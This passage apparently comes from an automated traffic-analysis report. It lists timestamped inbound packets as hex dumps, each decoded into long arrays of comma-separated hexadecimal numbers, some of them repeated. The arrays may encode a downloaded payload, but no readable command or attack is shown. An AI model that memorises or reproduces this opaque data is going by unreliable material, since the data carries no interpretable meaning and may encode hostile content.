2023-04-20 23:05:04 UTC	12397	IN	Data Raw: 2c 39 66 2c 35 39 2c 31 33 61 2c 31 34 34 2c 31 31 65 2c 35 33 2c 31 36 61 2c 31 33 66 2c 66 62 2c 39 30 2c 31 32 34 2c 31 35 33 2c 31 33 39 2c 34 61 2c 31 30 39 2c 37 66 2c 31 31 36 2c 31 30 37 2c 31 31 30 2c 63 63 2c 63 30 2c 38 32 2c 31 30 61 2c 38 36 2c 37 30 2c 63 64 2c 38 62 2c 38 39 2c 35 37 2c 36 63 2c 64 65 2c 31 32 65 2c 34 65 2c 36 61 2c 31 37 35 2c 61 62 2c 63 65 2c 31 30 30 2c 31 36 32 2c 31 36 30 2c 31 30 63 2c 36 36 2c 31 31 66 2c 65 64 2c 31 33 34 2c 34 63 2c 64 65 2c 65 37 2c 37 64 2c 35 35 2c 31 32 62 2c 31 35 63 2c 66 36 2c 62 63 2c 62 66 2c 31 30 35 2c 35 38 2c 37 66 2c 31 35 36 2c 31 34 66 2c 31 32 64 2c 34 65 2c 31 31 63 2c 31 34 64 2c 38 35 2c 62 63 2c 31 35 34 2c 63 66 2c 31 33 36 2c 31 32 38 2c 31 36 63 2c 31 33 62 2c 31 30 36 2c Data Ascii: ,9f,59,13a,144,11e,53,16a,13f,fb,90,124,153,139,4a,109,7f,116,107,110,cc,c0,82,10a,86,70,cd,8b,89,57,6c,de,12e,4e,6a,175,ab,ce,100,162,160,10c,66,11f,ed,134,4c,de,e7,7d,55,12b,15c,f6,bc,bf,105,58,7f,156,14f,12d,4e,11c,14d,85,bc,154,cf,136,128,16c,13b,106,
2023-04-20 23:05:04 UTC	12413	IN	Data Raw: 39 2c 37 38 2c 31 30 36 2c 62 38 2c 35 61 2c 31 32 37 2c 64 63 2c 64 39 2c 35 37 2c 66 61 2c 36 66 2c 31 32 64 2c 64 66 2c 31 30 38 2c 61 30 2c 31 33 65 2c 62 39 2c 36 38 2c 31 34 62 2c 31 31 62 2c 38 36 2c 31 33 65 2c 31 30 63 2c 61 30 2c 31 34 30 2c 37 36 2c 35 36 2c 31 32 32 2c 35 66 2c 31 34 62 2c 61 63 2c 31 34 38 2c 31 32 66 2c 31 33 36 2c 31 35 63 2c 66 39 2c 35 61 2c 31 32 64 2c 31 35 64 2c 31 31 31 2c 63 64 2c 63 31 2c 31 32 65 2c 31 30 65 2c 35 33 2c 31 34 65 2c 62 63 2c 63 66 2c 66 65 2c 36 35 2c 39 37 2c 31 32 31 2c 31 31 64 2c 31 32 65 2c 31 34 34 2c 31 32 64 2c 35 34 2c 62 64 2c 63 63 2c 64 62 2c 62 30 2c 31 34 39 2c 65 39 2c 31 34 33 2c 34 36 2c 31 33 64 2c 31 36 36 2c 65 31 2c 65 30 2c 31 33 39 2c 31 33 38 2c 31 33 33 2c 35 32 2c 31 32 65 Data Ascii: 9,78,106,b8,5a,127,dc,d9,57,fa,6f,12d,df,108,a0,13e,b9,68,14b,11b,86,13e,10c,a0,140,76,56,122,5f,14b,ac,148,12f,136,15c,f9,5a,12d,15d,111,cd,c1,12e,10e,53,14e,bc,cf,fe,65,97,121,11d,12e,144,12d,54,bd,cc,db,b0,149,e9,143,46,13d,166,e1,e0,139,138,133,52,12e
2023-04-20 23:05:04 UTC	12429	IN	Data Raw: 61 2c 31 32 62 2c 31 32 39 2c 31 33 39 2c 35 33 2c 63 34 2c 31 36 30 2c 66 30 2c 35 64 2c 31 31 33 2c 39 38 2c 61 39 2c 61 30 2c 31 30 34 2c 31 32 39 2c 31 33 35 2c 31 36 66 2c 64 36 2c 31 35 32 2c 61 32 2c 31 31 62 2c 34 34 2c 31 30 39 2c 66 62 2c 63 63 2c 62 61 2c 61 65 2c 62 62 2c 65 63 2c 31 34 37 2c 31 35 63 2c 66 30 2c 36 32 2c 37 39 2c 31 32 31 2c 31 30 61 2c 35 36 2c 31 30 35 2c 31 36 32 2c 35 61 2c 66 66 2c 39 62 2c 31 31 33 2c 31 34 31 2c 37 66 2c 31 31 38 2c 31 32 30 2c 31 34 34 2c 65 62 2c 31 34 32 2c 31 33 31 2c 31 33 31 2c 39 66 2c 33 65 2c 64 37 2c 64 65 2c 38 63 2c 31 33 64 2c 64 39 2c 31 32 66 2c 31 31 30 2c 63 66 2c 37 36 2c 65 63 2c 65 39 2c 31 32 64 2c 37 39 2c 64 61 2c 35 63 2c 63 31 2c 31 35 36 2c 35 61 2c 35 32 2c 31 32 61 2c 31 35 Data Ascii: a,12b,129,139,53,c4,160,f0,5d,113,98,a9,a0,104,129,135,16f,d6,152,a2,11b,44,109,fb,cc,ba,ae,bb,ec,147,15c,f0,62,79,121,10a,56,105,162,5a,ff,9b,113,141,7f,118,120,144,eb,142,131,131,9f,3e,d7,de,8c,13d,d9,12f,110,cf,76,ec,e9,12d,79,da,5c,c1,156,5a,52,12a,15
2023-04-20 23:05:04 UTC	12445	IN	Data Raw: 33 35 2c 38 39 2c 36 37 2c 31 30 37 2c 31 32 66 2c 31 31 38 2c 62 37 2c 31 34 31 2c 39 30 2c 31 32 34 2c 66 62 2c 64 64 2c 31 30 36 2c 31 34 33 2c 61 32 2c 31 35 35 2c 37 37 2c 31 31 66 2c 38 62 2c 31 35 64 2c 66 66 2c 35 30 2c 64 63 2c 31 30 30 2c 31 32 65 2c 31 31 39 2c 62 34 2c 31 31 66 2c 31 31 37 2c 31 31 64 2c 39 33 2c 65 39 2c 66 39 2c 31 34 66 2c 66 31 2c 63 32 2c 36 30 2c 37 61 2c 31 34 33 2c 31 32 37 2c 38 32 2c 34 66 2c 35 39 2c 31 34 66 2c 37 62 2c 39 39 2c 31 35 35 2c 31 35 32 2c 31 32 66 2c 61 38 2c 31 33 38 2c 65 32 2c 37 33 2c 35 39 2c 36 38 2c 31 31 65 2c 65 65 2c 31 32 30 2c 38 61 2c 62 33 2c 65 32 2c 36 39 2c 64 37 2c 31 34 61 2c 62 64 2c 66 38 2c 31 30 34 2c 31 33 31 2c 66 34 2c 31 33 39 2c 31 30 33 2c 38 38 2c 31 34 38 2c 31 34 33 2c Data Ascii: 35,89,67,107,12f,118,b7,141,90,124,fb,dd,106,143,a2,155,77,11f,8b,15d,ff,50,dc,100,12e,119,b4,11f,117,11d,93,e9,f9,14f,f1,c2,60,7a,143,127,82,4f,59,14f,7b,99,155,152,12f,a8,138,e2,73,59,68,11e,ee,120,8a,b3,e2,69,d7,14a,bd,f8,104,131,f4,139,103,88,148,143,
2023-04-20 23:05:04 UTC	12461	IN	Data Raw: 33 2c 31 33 38 2c 31 30 36 2c 65 66 2c 63 39 2c 31 33 65 2c 31 30 65 2c 65 61 2c 31 33 39 2c 64 66 2c 31 34 38 2c 39 64 2c 31 34 63 2c 31 35 63 2c 65 64 2c 31 32 38 2c 31 31 38 2c 31 36 38 2c 31 30 37 2c 36 61 2c 63 62 2c 64 38 2c 31 32 39 2c 31 31 32 2c 61 61 2c 31 33 31 2c 66 37 2c 38 38 2c 39 35 2c 62 31 2c 31 32 34 2c 63 38 2c 31 35 34 2c 35 61 2c 31 32 36 2c 36 36 2c 62 63 2c 35 62 2c 62 33 2c 31 32 38 2c 31 33 31 2c 31 30 39 2c 64 35 2c 31 31 38 2c 31 34 31 2c 31 36 36 2c 34 34 2c 66 39 2c 36 37 2c 61 65 2c 31 32 39 2c 37 31 2c 38 31 2c 31 35 65 2c 66 33 2c 62 34 2c 31 32 62 2c 31 34 66 2c 31 31 34 2c 31 35 32 2c 31 30 31 2c 37 64 2c 35 37 2c 63 61 2c 64 31 2c 31 33 31 2c 31 34 64 2c 36 39 2c 37 65 2c 37 33 2c 38 34 2c 36 38 2c 65 61 2c 36 37 2c 31 Data Ascii: 3,138,106,ef,c9,13e,10e,ea,139,df,148,9d,14c,15c,ed,128,118,168,107,6a,cb,d8,129,112,aa,131,f7,88,95,b1,124,c8,154,5a,126,66,bc,5b,b3,128,131,109,d5,118,141,166,44,f9,67,ae,129,71,81,15e,f3,b4,12b,14f,114,152,101,7d,57,ca,d1,131,14d,69,7e,73,84,68,ea,67,1
2023-04-20 23:05:04 UTC	12477	IN	Data Raw: 2c 37 39 2c 31 33 61 2c 62 30 2c 38 33 2c 61 62 2c 31 30 32 2c 31 36 63 2c 63 62 2c 36 38 2c 33 33 2c 31 30 62 2c 62 38 2c 38 64 2c 31 32 66 2c 66 31 2c 31 33 30 2c 38 36 2c 31 31 66 2c 31 33 37 2c 66 39 2c 64 39 2c 31 30 35 2c 65 34 2c 64 61 2c 31 33 33 2c 35 31 2c 39 38 2c 31 30 38 2c 64 62 2c 62 65 2c 31 31 32 2c 38 33 2c 65 30 2c 31 30 35 2c 36 61 2c 63 63 2c 62 31 2c 38 39 2c 37 37 2c 39 63 2c 35 37 2c 35 33 2c 61 61 2c 64 65 2c 31 34 31 2c 38 33 2c 66 31 2c 66 39 2c 31 35 39 2c 31 32 35 2c 31 31 33 2c 31 31 63 2c 31 34 65 2c 31 31 64 2c 37 66 2c 64 33 2c 31 33 33 2c 66 62 2c 39 65 2c 66 64 2c 39 33 2c 38 31 2c 31 35 65 2c 38 36 2c 61 33 2c 62 63 2c 31 31 37 2c 36 34 2c 62 37 2c 62 62 2c 64 63 2c 38 36 2c 65 63 2c 36 33 2c 37 34 2c 65 37 2c 31 31 32 Data Ascii: ,79,13a,b0,83,ab,102,16c,cb,68,33,10b,b8,8d,12f,f1,130,86,11f,137,f9,d9,105,e4,da,133,51,98,108,db,be,112,83,e0,105,6a,cc,b1,89,77,9c,57,53,aa,de,141,83,f1,f9,159,125,113,11c,14e,11d,7f,d3,133,fb,9e,fd,93,81,15e,86,a3,bc,117,64,b7,bb,dc,86,ec,63,74,e7,112
2023-04-20 23:05:06 UTC	12493	IN	Data Raw: 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 Data Ascii: ,63,141,164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,14
2023-04-20 23:05:06 UTC	12509	IN	Data Raw: 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 Data Ascii: 141,164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,16
2023-04-20 23:05:06 UTC	12525	IN	Data Raw: 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 2c 36 30 2c 31 32 63 2c 31 36 63 2c 31 31 62 2c 34 64 2c 31 30 34 2c 37 30 2c 66 66 2c 36 33 2c 31 32 63 2c 31 35 38 2c 31 33 38 2c 37 39 2c 31 31 31 2c 31 34 33 2c 31 32 30 2c 39 36 2c 31 34 33 2c 31 34 63 2c 31 32 33 2c 35 30 2c 31 30 37 2c 31 34 65 2c 31 31 35 2c 36 33 2c 31 34 31 2c 31 36 34 2c 31 33 65 2c 34 38 2c 31 34 36 2c 31 36 35 2c 66 33 Data Ascii: 164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,165,f3,60,12c,16c,11b,4d,104,70,ff,63,12c,158,138,79,111,143,120,96,143,14c,123,50,107,14e,115,63,141,164,13e,48,146,165,f3
2023-04-20 23:05:06 UTC	12541	IN	Data Raw: 65 2c 61 61 2c 31 30 37 2c 65 62 2c 39 33 2c 35 63 2c 35 32 2c 35 33 2c 63 31 2c 66 39 2c 63 63 2c 39 62 2c 62 32 2c 64 37 2c 31 35 61 2c 63 38 2c 39 35 2c 31 34 30 2c 31 32 36 2c 31 34 63 2c 66 34 2c 39 65 2c 39 38 2c 36 61 2c 66 38 2c 31 32 39 2c 36 36 2c 31 33 64 2c 31 33 37 2c 31 30 32 2c 36 66 2c 63 36 2c 65 65 2c 64 35 2c 31 34 36 2c 66 36 2c 66 35 2c 31 30 31 2c 39 38 2c 39 34 2c 64 39 2c 38 37 2c 31 33 38 2c 38 62 2c 62 31 2c 31 32 34 2c 31 36 62 2c 34 35 2c 65 66 2c 61 33 2c 63 63 2c 39 36 2c 31 31 64 2c 31 30 30 2c 63 30 2c 38 62 2c 31 35 30 2c 62 61 2c 31 34 30 2c 31 32 31 2c 31 30 37 2c 31 35 61 2c 35 34 2c 38 36 2c 31 34 38 2c 33 62 2c 36 65 2c 35 63 2c 31 31 39 2c 61 36 2c 65 39 2c 66 30 2c 39 38 2c 31 31 37 2c 38 33 2c 35 38 2c 37 31 2c 66 Data Ascii: e,aa,107,eb,93,5c,52,53,c1,f9,cc,9b,b2,d7,15a,c8,95,140,126,14c,f4,9e,98,6a,f8,129,66,13d,137,102,6f,c6,ee,d5,146,f6,f5,101,98,94,d9,87,138,8b,b1,124,16b,45,ef,a3,cc,96,11d,100,c0,8b,150,ba,140,121,107,15a,54,86,148,3b,6e,5c,119,a6,e9,f0,98,117,83,58,71,f
2023-04-20 23:05:06 UTC	12557	IN	Data Raw: 36 62 2c 31 31 63 2c 31 36 62 2c 31 35 38 2c 31 31 64 2c 31 31 33 2c 66 36 2c 64 37 2c 38 66 2c 31 32 63 2c 62 62 2c 31 32 62 2c 65 62 2c 31 31 31 2c 62 39 2c 31 34 34 2c 31 32 61 2c 31 34 32 2c 37 30 2c 31 32 33 2c 34 39 2c 63 65 2c 36 64 2c 66 36 2c 35 63 2c 37 62 2c 61 35 2c 31 30 36 2c 39 35 2c 31 33 33 2c 31 31 32 2c 65 30 2c 31 31 38 2c 66 32 2c 31 34 32 2c 38 37 2c 31 33 31 2c 37 62 2c 31 35 65 2c 39 66 2c 31 30 61 2c 31 34 35 2c 31 32 31 2c 31 35 32 2c 31 33 62 2c 31 32 31 2c 31 32 35 2c 31 31 30 2c 38 32 2c 66 62 2c 65 39 2c 31 30 62 2c 34 62 2c 33 64 2c 36 63 2c 62 30 2c 37 61 2c 63 30 2c 31 30 66 2c 31 33 32 2c 66 36 2c 31 37 31 2c 61 38 2c 31 32 30 2c 31 32 39 2c 39 65 2c 31 32 31 2c 36 62 2c 66 33 2c 38 66 2c 31 30 65 2c 31 31 61 2c 38 33 2c Data Ascii: 6b,11c,16b,158,11d,113,f6,d7,8f,12c,bb,12b,eb,111,b9,144,12a,142,70,123,49,ce,6d,f6,5c,7b,a5,106,95,133,112,e0,118,f2,142,87,131,7b,15e,9f,10a,145,121,152,13b,121,125,110,82,fb,e9,10b,4b,3d,6c,b0,7a,c0,10f,132,f6,171,a8,120,129,9e,121,6b,f3,8f,10e,11a,83,
2023-04-20 23:05:06 UTC	12573	IN	Data Raw: 2c 35 37 2c 62 36 2c 39 63 2c 31 30 35 2c 38 34 2c 31 32 35 2c 61 66 2c 64 39 2c 39 63 2c 39 64 2c 31 36 30 2c 37 61 2c 39 38 2c 61 61 2c 38 66 2c 39 65 2c 31 32 39 2c 31 37 33 2c 65 63 2c 31 33 31 2c 31 31 63 2c 37 37 2c 31 34 63 2c 65 64 2c 65 37 2c 31 30 30 2c 31 30 35 2c 31 34 64 2c 38 64 2c 31 31 32 2c 31 30 37 2c 31 30 63 2c 64 38 2c 31 33 36 2c 38 62 2c 62 63 2c 37 65 2c 66 33 2c 31 34 64 2c 36 61 2c 37 37 2c 36 64 2c 64 32 2c 36 39 2c 31 33 39 2c 36 34 2c 31 35 32 2c 35 37 2c 64 37 2c 38 65 2c 63 31 2c 64 35 2c 62 39 2c 64 66 2c 65 39 2c 31 30 35 2c 31 30 36 2c 31 37 31 2c 31 32 61 2c 63 33 2c 35 34 2c 31 35 63 2c 39 37 2c 38 37 2c 38 38 2c 63 61 2c 63 34 2c 66 34 2c 31 33 35 2c 38 33 2c 31 33 62 2c 39 62 2c 65 65 2c 31 34 30 2c 62 61 2c 31 33 31 Data Ascii: ,57,b6,9c,105,84,125,af,d9,9c,9d,160,7a,98,aa,8f,9e,129,173,ec,131,11c,77,14c,ed,e7,100,105,14d,8d,112,107,10c,d8,136,8b,bc,7e,f3,14d,6a,77,6d,d2,69,139,64,152,57,d7,8e,c1,d5,b9,df,e9,105,106,171,12a,c3,54,15c,97,87,88,ca,c4,f4,135,83,13b,9b,ee,140,ba,131
2023-04-20 23:05:06 UTC	12589	IN	Data Raw: 64 2c 63 63 2c 38 34 2c 31 37 35 2c 31 30 37 2c 39 37 2c 31 34 35 2c 39 66 2c 64 62 2c 65 37 2c 39 65 2c 31 30 33 2c 31 33 64 2c 31 32 61 2c 63 38 2c 31 30 65 2c 65 64 2c 66 39 2c 31 32 38 2c 64 62 2c 31 35 32 2c 36 62 2c 36 33 2c 61 32 2c 31 30 61 2c 62 33 2c 37 65 2c 31 35 36 2c 36 62 2c 63 31 2c 38 36 2c 36 31 2c 65 62 2c 31 33 39 2c 38 62 2c 31 31 32 2c 31 34 31 2c 64 63 2c 39 31 2c 33 61 2c 31 32 66 2c 31 30 64 2c 39 33 2c 31 30 31 2c 31 33 34 2c 31 31 37 2c 31 30 65 2c 62 66 2c 31 34 35 2c 63 31 2c 35 30 2c 38 63 2c 31 36 63 2c 31 30 34 2c 36 62 2c 63 35 2c 62 30 2c 66 66 2c 38 61 2c 64 34 2c 62 64 2c 64 31 2c 31 30 65 2c 64 62 2c 31 34 66 2c 31 32 63 2c 63 63 2c 65 66 2c 31 33 63 2c 31 33 38 2c 64 36 2c 62 64 2c 38 33 2c 31 30 63 2c 31 32 32 2c 63 Data Ascii: d,cc,84,175,107,97,145,9f,db,e7,9e,103,13d,12a,c8,10e,ed,f9,128,db,152,6b,63,a2,10a,b3,7e,156,6b,c1,86,61,eb,139,8b,112,141,dc,91,3a,12f,10d,93,101,134,117,10e,bf,145,c1,50,8c,16c,104,6b,c5,b0,ff,8a,d4,bd,d1,10e,db,14f,12c,cc,ef,13c,138,d6,bd,83,10c,122,c
2023-04-20 23:05:06 UTC	12605	IN	Data Raw: 2c 64 31 2c 31 34 38 2c 66 62 2c 31 31 62 2c 31 30 37 2c 64 38 2c 36 64 2c 31 30 65 2c 64 39 2c 31 33 37 2c 61 36 2c 65 30 2c 34 36 2c 62 33 2c 64 34 2c 31 32 61 2c 36 34 2c 31 33 32 2c 31 32 39 2c 31 32 39 2c 64 37 2c 39 36 2c 39 65 2c 63 37 2c 36 30 2c 66 35 2c 36 35 2c 65 33 2c 31 32 32 2c 63 30 2c 36 30 2c 62 62 2c 38 64 2c 31 35 35 2c 63 38 2c 37 30 2c 31 32 63 2c 63 64 2c 39 38 2c 37 36 2c 31 31 64 2c 31 35 32 2c 31 33 65 2c 63 38 2c 34 64 2c 38 38 2c 31 32 36 2c 64 62 2c 64 32 2c 61 35 2c 37 63 2c 65 62 2c 65 63 2c 66 38 2c 31 35 35 2c 31 32 61 2c 31 33 64 2c 31 32 34 2c 62 38 2c 31 31 61 2c 66 36 2c 37 31 2c 66 62 2c 65 30 2c 31 31 34 2c 64 31 2c 31 34 63 2c 39 62 2c 31 32 39 2c 61 30 2c 31 30 30 2c 64 33 2c 31 33 32 2c 31 32 34 2c 66 62 2c 64 38 Data Ascii: ,d1,148,fb,11b,107,d8,6d,10e,d9,137,a6,e0,46,b3,d4,12a,64,132,129,129,d7,96,9e,c7,60,f5,65,e3,122,c0,60,bb,8d,155,c8,70,12c,cd,98,76,11d,152,13e,c8,4d,88,126,db,d2,a5,7c,eb,ec,f8,155,12a,13d,124,b8,11a,f6,71,fb,e0,114,d1,14c,9b,129,a0,100,d3,132,124,fb,d8
2023-04-20 23:05:06 UTC	12621	IN	Data Raw: 66 61 2c 37 64 2c 61 38 2c 31 33 30 2c 64 66 2c 31 31 62 2c 31 32 33 2c 35 37 2c 61 35 2c 34 61 2c 39 66 2c 39 39 2c 64 61 2c 31 32 32 2c 39 65 2c 31 30 63 2c 31 33 61 2c 62 39 2c 31 34 64 2c 31 35 39 2c 65 62 2c 36 66 2c 66 31 2c 65 35 2c 38 30 2c 37 36 2c 63 33 2c 31 34 62 2c 37 64 2c 64 63 2c 37 38 2c 62 35 2c 31 35 62 2c 39 35 2c 31 30 66 2c 39 37 2c 61 61 2c 65 66 2c 63 32 2c 31 34 64 2c 35 62 2c 31 33 35 2c 34 64 2c 36 34 2c 38 39 2c 62 30 2c 31 35 65 2c 31 30 35 2c 65 34 2c 34 30 2c 64 30 2c 39 39 2c 31 30 38 2c 35 32 2c 63 36 2c 66 63 2c 39 30 2c 31 32 37 2c 66 38 2c 31 33 30 2c 31 31 37 2c 37 61 2c 31 32 62 2c 38 63 2c 38 31 2c 39 35 2c 35 32 2c 65 31 2c 35 63 2c 37 38 2c 31 33 39 2c 37 35 2c 31 31 31 2c 38 64 2c 36 38 2c 31 33 62 2c 64 33 2c 63 Data Ascii: fa,7d,a8,130,df,11b,123,57,a5,4a,9f,99,da,122,9e,10c,13a,b9,14d,159,eb,6f,f1,e5,80,76,c3,14b,7d,dc,78,b5,15b,95,10f,97,aa,ef,c2,14d,5b,135,4d,64,89,b0,15e,105,e4,40,d0,99,108,52,c6,fc,90,127,f8,130,117,7a,12b,8c,81,95,52,e1,5c,78,139,75,111,8d,68,13b,d3,c
2023-04-20 23:05:06 UTC	12637	IN	Data Raw: 39 2c 61 33 2c 38 38 2c 31 32 36 2c 31 32 32 2c 31 34 32 2c 38 62 2c 31 32 39 2c 31 32 61 2c 63 66 2c 61 66 2c 64 66 2c 31 32 62 2c 63 61 2c 66 30 2c 39 30 2c 65 39 2c 66 36 2c 35 36 2c 37 36 2c 31 30 34 2c 65 37 2c 37 34 2c 31 33 34 2c 31 30 33 2c 61 34 2c 31 30 66 2c 38 63 2c 31 33 35 2c 34 39 2c 63 32 2c 31 33 37 2c 31 35 39 2c 31 31 62 2c 31 36 31 2c 38 38 2c 37 36 2c 35 65 2c 63 38 2c 64 30 2c 64 61 2c 36 38 2c 38 61 2c 31 31 63 2c 37 61 2c 64 65 2c 35 34 2c 64 65 2c 31 33 65 2c 65 61 2c 62 63 2c 66 31 2c 39 32 2c 65 63 2c 64 38 2c 65 63 2c 38 32 2c 36 63 2c 64 30 2c 63 61 2c 37 36 2c 64 36 2c 38 36 2c 62 37 2c 31 35 62 2c 31 32 31 2c 38 33 2c 34 62 2c 63 38 2c 65 30 2c 65 36 2c 31 32 63 2c 65 34 2c 64 34 2c 37 35 2c 35 30 2c 31 31 37 2c 65 65 2c 64 Data Ascii: 9,a3,88,126,122,142,8b,129,12a,cf,af,df,12b,ca,f0,90,e9,f6,56,76,104,e7,74,134,103,a4,10f,8c,135,49,c2,137,159,11b,161,88,76,5e,c8,d0,da,68,8a,11c,7a,de,54,de,13e,ea,bc,f1,92,ec,d8,ec,82,6c,d0,ca,76,d6,86,b7,15b,121,83,4b,c8,e0,e6,12c,e4,d4,75,50,117,ee,d
2023-04-20 23:05:06 UTC	12653	IN	Data Raw: 33 36 2c 31 33 36 2c 38 38 2c 31 33 36 2c 31 32 33 2c 35 38 2c 65 36 2c 66 38 2c 31 33 32 2c 31 33 62 2c 63 64 2c 34 32 2c 35 34 2c 31 33 65 2c 61 37 2c 31 36 36 2c 31 34 33 2c 31 32 34 2c 33 36 2c 37 62 2c 31 35 62 2c 64 35 2c 62 33 2c 62 64 2c 31 34 39 2c 31 34 34 2c 31 33 31 2c 65 38 2c 38 66 2c 63 33 2c 31 31 39 2c 31 33 66 2c 66 30 2c 31 31 34 2c 31 35 65 2c 62 64 2c 61 65 2c 31 32 36 2c 39 31 2c 39 35 2c 31 33 33 2c 31 32 61 2c 61 62 2c 65 34 2c 38 33 2c 31 30 65 2c 65 30 2c 37 63 2c 31 35 63 2c 37 62 2c 31 32 37 2c 37 35 2c 36 39 2c 66 61 2c 31 31 39 2c 66 66 2c 37 33 2c 39 36 2c 31 31 66 2c 36 65 2c 38 36 2c 36 30 2c 37 65 2c 61 39 2c 38 62 2c 62 65 2c 38 36 2c 31 31 31 2c 35 36 2c 31 31 35 2c 38 36 2c 31 33 64 2c 36 35 2c 31 31 66 2c 37 65 2c 62 Data Ascii: 36,136,88,136,123,58,e6,f8,132,13b,cd,42,54,13e,a7,166,143,124,36,7b,15b,d5,b3,bd,149,144,131,e8,8f,c3,119,13f,f0,114,15e,bd,ae,126,91,95,133,12a,ab,e4,83,10e,e0,7c,15c,7b,127,75,69,fa,119,ff,73,96,11f,6e,86,60,7e,a9,8b,be,86,111,56,115,86,13d,65,11f,7e,b
2023-04-20 23:05:06 UTC	12669	IN	Data Raw: 34 2c 31 32 64 2c 31 34 65 2c 31 30 65 2c 64 66 2c 36 66 2c 32 66 2c 31 32 30 2c 31 32 35 2c 65 33 2c 31 36 65 2c 37 62 2c 31 31 35 2c 62 62 2c 31 30 66 2c 31 34 66 2c 66 31 2c 31 34 61 2c 31 30 34 2c 31 33 64 2c 65 66 2c 31 32 30 2c 37 63 2c 31 31 37 2c 38 31 2c 31 34 31 2c 61 35 2c 64 35 2c 31 30 30 2c 65 36 2c 38 30 2c 66 34 2c 61 66 2c 65 32 2c 31 32 63 2c 31 32 62 2c 64 33 2c 31 31 34 2c 34 37 2c 63 65 2c 66 38 2c 62 63 2c 31 34 33 2c 62 31 2c 64 62 2c 31 32 64 2c 64 64 2c 31 34 31 2c 63 32 2c 65 39 2c 31 33 30 2c 66 30 2c 38 38 2c 64 64 2c 63 33 2c 31 36 32 2c 33 61 2c 35 30 2c 38 36 2c 31 33 62 2c 31 35 39 2c 36 66 2c 34 63 2c 31 34 35 2c 66 62 2c 31 35 34 2c 64 36 2c 31 30 39 2c 31 31 62 2c 36 34 2c 39 61 2c 66 36 2c 31 30 35 2c 36 35 2c 63 62 2c Data Ascii: 4,12d,14e,10e,df,6f,2f,120,125,e3,16e,7b,115,bb,10f,14f,f1,14a,104,13d,ef,120,7c,117,81,141,a5,d5,100,e6,80,f4,af,e2,12c,12b,d3,114,47,ce,f8,bc,143,b1,db,12d,dd,141,c2,e9,130,f0,88,dd,c3,162,3a,50,86,13b,159,6f,4c,145,fb,154,d6,109,11b,64,9a,f6,105,65,cb,
